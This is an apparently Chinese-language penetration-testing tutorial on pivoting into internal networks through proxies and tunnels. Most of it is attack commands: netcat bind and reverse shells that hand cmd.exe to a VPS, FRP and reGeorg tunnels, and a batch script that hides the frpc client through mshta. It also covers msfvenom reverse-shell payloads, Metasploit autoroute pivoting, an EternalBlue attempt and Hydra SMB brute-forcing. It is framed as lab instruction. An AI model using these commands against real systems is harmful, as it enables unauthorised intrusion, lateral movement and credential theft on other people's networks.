內網滲透-代理篇
利用代理工具將內網的流量代理到本地進行訪問,這樣就可以對內網進行下一步滲透,同時也可以利用代理工具將其他網段的流量轉發到本地進行縱向滲透。代理的本質是Socks協議(防火墻安全會話轉換協議),工作在OSI參考模型的第5層(會話層)。使用TCP協議傳輸數據,因而不提供如傳遞ICMP信息之類的網絡層相關服務。目前支持SOCKS4和SOCKS5兩個版本:
- SOCKS4支持TELNET、FTP、HTTP等TCP協議;
- SOCKS5支持TCP與UDP,并支持安全認證方案
代理一般分為正向代理和反向代理兩類:
正向代理:已控服務器監聽端口,通過這個端口形成一個正向的隧道,由代理機器代替主機去訪問內網目標。但是內網入口一般處于DMZ區域有防火墻攔截,無法直接進入內網環境。
反向代理:由內網主機主動交出權限到代理機器,然后本地去連接形成反向代理。例如:VPS監聽本地端口,已控內網服務器來連接此端口,形成一個隧道。如果內網設備連接外網,就無法回彈只能再想其他辦法。
- 端口轉發工具:NC、LCX、regGorg、venom、ngrock…
- 代理鏈工具:proxychains(Linux)、proxifier(windows)...
一、端口代理工具
1.LCX
LCX的使用方法傳送門:Hash讀取與端口轉發
2.NetCat
NetCat,簡稱NC。除開端口轉發以下還對NC的端口探測、文件傳輸、通信功能做了簡單的演示。NetCat 官方地址:
http://netcat.sourceforge.net/
2.1 端口轉發
正向連接場景:目標防火墻不阻止外來流量。綁定本地的cmdshell在服務器的端口上然后本地去連接:
①服務器(192.168.1.98)執行命令將cmdshell綁定在本地5555端口上
nc -l -p 5555 -t -e cmd.exe # -t是通過telnet模式執行 cmd.exe 程序,可省略
②在內網主動連接服務器的5555端口,可直接獲取目標的cmdshell
nc -nvv 192.168.1.98 5555

反向連接場景:目標設備在內網,防火墻阻止外來流量。綁定服務器的cmdshell并反向連接到vps(192.168.1.4)的TCP端口
①vps開啟監聽
nc -lp 5555
②服務器內網鏈接vps 5555端口,主動交出自己的cmdshell
nc -t -e cmd.exe 192.168.1.4 5555

2.2 端口探測
NC可以作為客戶端工具對目標進行端口探測:
nc -vz -w 2 192.168.1.10 9999 # -v可視化,-z掃描時不發送數據,-w超時幾秒,后面跟數字
使用NC工具批量探測服務器連續端口:

2.3 文件傳輸
①正向傳輸:服務器先偵聽端口,本地向服務器所在機器的該端口發送數據
#服務器啟動監聽,將9995端口接收到的數據都寫到test文件里 nc -l -p 9995 > test #本地往服務器的9995端口發送數據 nc 192.168.1.4 9995 < 1.txt

② 反向傳輸:本地啟動文件發送命令,服務器主動連接下載文件
#本地啟動文件發送命令,通過9992端口發送文件 nc -l -p 9992 < 1.php
#服務器執行命令下載192.168.1.10:9992端口文件,并把文件存到當前目錄文件夾2.php nc 192.168.1.10 9992 >2.php
vps本地監聽,服務器連接vps可以將文件下載到本地。可利用此特性躲避防火墻。

2.4 NC通信
#開啟監聽 nc -l -p 12345 #連接。形成不加密聊天室 nc 192.168.1.10 12345

3.Termite工具
#軟件作者教學視頻: http://rootkiter.com/toolvideo/toolmp4/1maintalk.mp4 http://rootkiter.com/toolvideo/toolmp4/2socks.mp4 http://rootkiter.com/toolvideo/toolmp4/3lcxtran.mp4 http://rootkiter.com/toolvideo/toolmp4/4shell.mp4 http://rootkiter.com/toolvideo/toolmp4/5file.mp4 #項目地址: http://rootkiter.com/Termite
Termite是一款極度小巧靈活的跳板機。程序分為兩部分,admin(控制端)和agent(代理端節點),admin和agent所有選項用途均一致:
-l 指定本地socks端口,等待遠程連接 -c 指定遠程socks機器ip -p 指定遠程socks機器端口
3.1 本地模擬環境

最終目的:通過Termite工具代理使物理機靈活穿梭于目標內網(目前物理機只能和win08橋接網卡通信)
3.2 正向連接
①win08本地監聽
agent_win32.exe -l 6666
②win 7 本地監聽
agent_win32.exe -l 7777
③xp 本地監聽
agent_win32.exe -l 8888
④物理機連接win08
admin_Win32.exe -c 192.168.1.10 -p 6666

⑤通過域win08建立的隧道連接win 7
#連接win08成功后查看連接的隧道會話 show #進入08的會話 goto 1 #連接win 7 connect 192.168.106.129 7777

⑥連接XP
#進去win7的會話 goto 2 #連接xp connect 169.254.228.204 8888

⑦成功建立隧道。開始執行命令:
命令一:文件上傳
# 傳送文件。將本地c:\unintall.log文件傳送到目標服務器命名為1.txt goto 5 upfile c:\unintall.log 1.txt
命令二:調用shell
#調用shell,將目標機器cmd shell轉發到本地12345端口 shell 12345 #nc連接,得到cmdshell nc 127.0.0.1 12345

命令三:端口轉發
#端口轉發。將目標3389轉發到本地1189,然后mstsc連接127.0.0.1:1189。注意多級轉發會造成流量擁堵,流量可能出不來 lcxtran 1189 192.168.1.10 3389 #socket代理 #配合proxychains驅動本地軟件對內網進行掃描,由本地1080將流量轉發到內網 socks 1080
3.3 反向連接
#win7保持監聽agent_Win32.exe -l 7777#xp反向連接到win7agent_Win32.exe -c 169.254.75.233 -p 7777#win8保持監聽agent_Win32.exe -l 6666#win7反向連接08agent_Win32.exe -c 192.168.106.128 -p 6666#此時xp、win7都已經主動上交了權限,物理機控制08就可以直接建立隧道admin_Win32.exe -c 192.168.1.10 -p 6666#反向連接用戶穿透防火墻

4.venom工具
使用Go開發的多級代理工具。Venom可將多個節點進行連接,然后以節點為跳板,構建多級代理。可以使用Venom輕松地將網絡流量代理到多層內網,并輕松地管理代理節點。venom工具使用方法傳送門:使用Venom多級代理工具穿透內網
5.reGeorg+Proxychains
項目地址:https://github.com/sensepost/reGeorg
5.1 上傳腳本
上傳腳本文件到服務器,訪問地址出現“Georg says, ‘All seems fine’”表示腳本正常運行。本地測試php腳本不能正常運行

5.2 進行轉發
python2 reGeorgSocksProxy.py -p 12345 -u http://192.168.1.10:8001/tunnel.aspx

確認端口開啟:

5.3 修改socket代理端口
vi /etc/proxychains.conf #修改代理端口為12345
5.4 遠程連接
使用設置proxychains的代理端口,進行訪問,一般配合nmap和metasploit進行后續內網滲透。這里是直接3389上去的
proxychains rdesktop 192.168.1.10

6.ngrock
7.FRP
#項目地址:https://github.com/fatedier/frp/releases#frpc客戶端,frps服務端
#實驗環境 kali:192.168.1.3 win08:192.168.1.10
7.1 正向代理
7.1.1 服務端設置
①下載安裝
wget https://github.com/fatedier/frp/releases/download/v0.33.0/frp_0.33.0_linux_386.tar.gz tar -zxvf frp_0.33.0_darwin_amd64.tar.gz
②配置frps.ini文件
[common] bind_port = 7000 dashboard_port = 7500 token = 123.com dashboard_user = admin dashboard_pwd = admin
- bind_port表示用于客戶端和服務端連接的端口
- dashboard_port是服務端儀表板的端口
- token是用于客戶端和服務端連接的口令
- dashboard_user、dashboard_pwd分別表示打開儀表板頁面登錄的用戶名和密碼
③運行開啟監聽
./frps -c ./frps.ini #也可以使用nohup命令將其運行在后臺 nohup ./frps -c frps.ini &

7.1.2 客戶端設置
①服務端監聽成功之后,目標內網設備執行frp進行主動連接:編輯frpc.ini,修改配置
[common] #服務端IP server_addr = 192.168.1.3 #服務端端口 server_port = 7000 #token值 token = 123.com [rdp] type = tcp local_ip = 127.0.0.1 local_port = 3389 remote_port = 7001 [smb] type = tcp local_ip = 127.0.0.1 local_port = 445 remote_port = 7002
②運行連接
cd C:\frp frpc.exe -c frpc.ini

也可以直接使用批處理文件運行:
@echo offif "%1" == "h" goto beginmshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit:beginREMcd C:\frpfrpc.exe -c frpc.iniexit
③成功建立連接

通過配置已經將內網的3389端口轉發到vps的7001端口。此時遠程連接vps的7001即可遠程連接內網的3389主機:

7.2 反向代理
#環境:kali:192.168.109.128Win2008:192.168.1.10vps:x.x.x.x
①服務端配置
#frp服務端與客戶端連接端口,frps和frpc必須一致 bind_port = 7000
②服務端啟動frp
./frps -c ./frps.ini

③客戶端frpc.ini文件配置
[common] server_addr = x.x.x.x #你的云主機ip server_port = 7000 # frpc工作端口,必須和上面frps保持一致 [msf] type = tcp local_ip = 127.0.0.1 local_port = 5000 #轉發給本機的5000 remote_port = 6000 #服務端用6000端口轉發給本機
④啟動客戶端
./frpc -c ./frpc.ini

⑤連接成功

⑥msf生成payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=x.x.x.x lport=6000 x-f exe x>frp.exe #注意: lhost:必需設置為vps服務端ip lport:設置你在frpc.ini的remote_port = 6000
只有通過服務器的6000端口數據包才能成功轉發kali,這也是使用frp反向代理原因
⑦msf開啟監聽
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 127.0.0.1#設置監聽ip,必須和frpc中的local_ip 一致 set lport 5000 #設置監聽端口,與frpc中的local_port一致 run
⑧靶機運行payload,msf上線。此時云主機顯示連接信息:
msf上線效果:

#參考文章: https://blog.csdn.net/qq_38228830/article/details/85955955
二、SSH代理穿透內網

①假設kali無法訪問Win08(實際kali為nat模式是可以訪問所有網段的)
②利用紅帽進行端口轉發使kali能夠訪問到Windows 2008
1.SSH正向代理
①kali(192.168.198.128)連接紅帽192.168.198.131,同時將內網主機192.168.1.10的8001端口轉發到本地kali 192.168.198.128 的8001端口上
ssh -L 192.168.198.128:8001:192.168.1.10:8001 root@192.168.198.131 -p 22 #-L后面的IP是kali本地IP,可省略不寫 #當跳板機紅帽的ssh端口為默認端口22時,也可省略不寫 #需要知道紅帽的賬號及密碼

②轉發成功,這樣kali在訪問本機的8001端口,通過SSH服務器紅帽端口轉發后,實際訪問的就是服務器Windows2008的8001端口。注意,在進行轉發的時候語句L后面的IP省略不寫,那么訪問127.0.0.1:8001即可,如果寫了IP,就必須訪問IP地址:192.168.198.128:8001

2.ssh反向代理
將kali本地端口鏡像轉發到紅帽,所有訪問SSH服務器(紅帽)的鏡像端口即是訪問kali的端口。
① kali開啟80 http服務
/etc/init.d/apache2 start

②kali連接紅帽。把kali(192.168.198.128:80)端口映射給ssh服務器(紅帽192.168.198.131)8001端口
ssh -R 192.168.106.131:8001:127.0.0.1:80 root@192.168.198.131 -p 22 #如果SSH服務器默認ssh端口為22,則"-p 22"可省略 #需要知道紅帽的賬號及密碼
③成功把kali的http 端口轉發和紅帽的8001端口

此時的紅帽127.0.0.1:8080已經是kali的http服務

④這里將kali的80端口轉發到紅帽的8001上,但是只監聽在127.0.0.1上,內網其他主機仍然無法訪問。還需要繼續轉發,將127.0.0.1:8001轉發到192.168.106.131:8001

3.ssh配置socket代理
①kali連接紅帽
ssh -D 8081 root@192.168.198.131 -p 22

②連接成功,此時kali已經開啟8081 socket代理端口:

③修改代理端口
vi /etc/proxychains.conf #修改代理端口為8081

④使用proxychain 來掃描socket代理的內網
proxychains nmap 192.168.1.1/24 #使用proxychains工具驅動nmap掃描內網。通過socks代理掃描到本身掃描不到的內網網段
通與不通就缺了一個socks代理,我太愛proxychains了

三、MSF穿越多級網絡

①生成payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.5 lport=1122 -f exe >test.exe
②建立監聽,返回會話
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.1.5 set lport 1122 run

③發現存在75網段,對該網段進行縱向滲透。添加192.168.75.x段網段靜態路由
run autoroute -s 192.168.75.0/24

④對192.168.75.x網段進行主機存活掃描,此時在MSF各個模塊已經可以訪問75網段
run post/windows/gather/arp_scanner RHOSTS=192.168.75.0/24

⑤掛起當前會話,對目標win7(192.168.75.131)進行攻擊
use exploit/windows/smb/ms17_010_eternalblue set rhost 192.168.75.131 #因為直連沒有返回的流量所以不能用默認的reverse payload。 #直連是在目標上面開一個端口然后本地去連接 set payload windows/x64/meterpreter/bind_tcp run

漏洞利用失敗。為了加強效果節目效果專門搞了個XP
use exploit/windows/smb/ms17_010_eternalblue set rhost 192.168.75.132 set payload windows/meterpreter/bind_tcp run
漏洞依然利用失敗,放棄。

MSF端口掃描模塊
#對75網段進行全端口掃描 use auxiliary/scanner/portscan/tcp set rhosts 192.168.75.131 set ports 1-65535 setg threads 50 run
這個端口掃描模塊耗時比較長且效果遠不如nmap

⑥本地設置socket代理,目的是讓MSF以外的工具也能與目標內網連接。前面添加了路由,使msf中的所有模塊可以用meterpreter作為代理訪問到192.168.75.x段。現在開啟sockets4代理,然后配合proxychains盤活kali里面除MSF以外的其他工具。利用掛起的會話建立代理:
use auxiliary/server/socks4a set srvhost 127.0.0.1 set rport 1080 #注意避免端口沖突 run

查看端口,成功啟用代理:

配置代理
vi /etc/proxychains.conf socks4 127.0.0.1 1080
配置完成后即可使用proxychains配合其他工具對目標進行下一步滲透。socks4版本協議不支持udp和icmp協議,所以使用nmap要加上-sT -Pn即使用tcp協議且不使用icmp協議。
Nmap掃描
#nmap掃描 proxychains nmap -sT -sV -Pn -n -p 1-3389 192.168.75.131

proxychains nmap -sT -sV -Pn -n -p 445 --script=smb-vuln-ms* 192.168.75.131

縱向滲透
如果拿下75網段shell且發現目標有也存在雙網卡,假如存在76網段,此時可以繼續添加靜態路由,進一步縱向滲透。此時:
#配置路由 run autoroute -s 192.168.76.0/24 #驗證能否連接 run post/windows/gather/arp_scanner RHOSTS=192.168.76.0/2
#設置代理 use auxiliary/server/socks4a set srvhost 127.0.0.1 set srvport 1081 #注意避免端口沖突 run
# 配置代理,要在1080端口下面再配置一個socket代理子啊1081端口上 vi /etc/proxychains.conf socks4 127.0.0.1 1080 socks4 127.0.0.1 1081
#nmap掃描,這里建立了兩層鏈路。從127.0.0.1:1080>127.0.0.1:1081>192.168.76.* proxychains nmap -sT -sV -Pn -n -p 1-3389 192.168.76.1/24
建立socks會話后,利用proxychains工具驅動其他軟件可以對網段掃描、爆破、嗅探、漏洞探測及利用。進行橫向滲透。也可以直接用msf里面的模塊直接滲透(msf不需要proxychains驅動)
Hydra爆破
proxychains hydra -l admin -P pass.txt -f 192.168.75.131 smb

爆破成功后,將遠程目標機的端口轉發到本地攻擊
①.端口轉發
portfwd add -L 192.168.1.5 -l 33890 -r 192.168.75.131 -p 3389
②.遠程連接
rdesktop 192.168.1.5:33890

也可以不使用端口轉發直接連接:

#linux遠程登錄 proxychains ssh root@192.168.75.13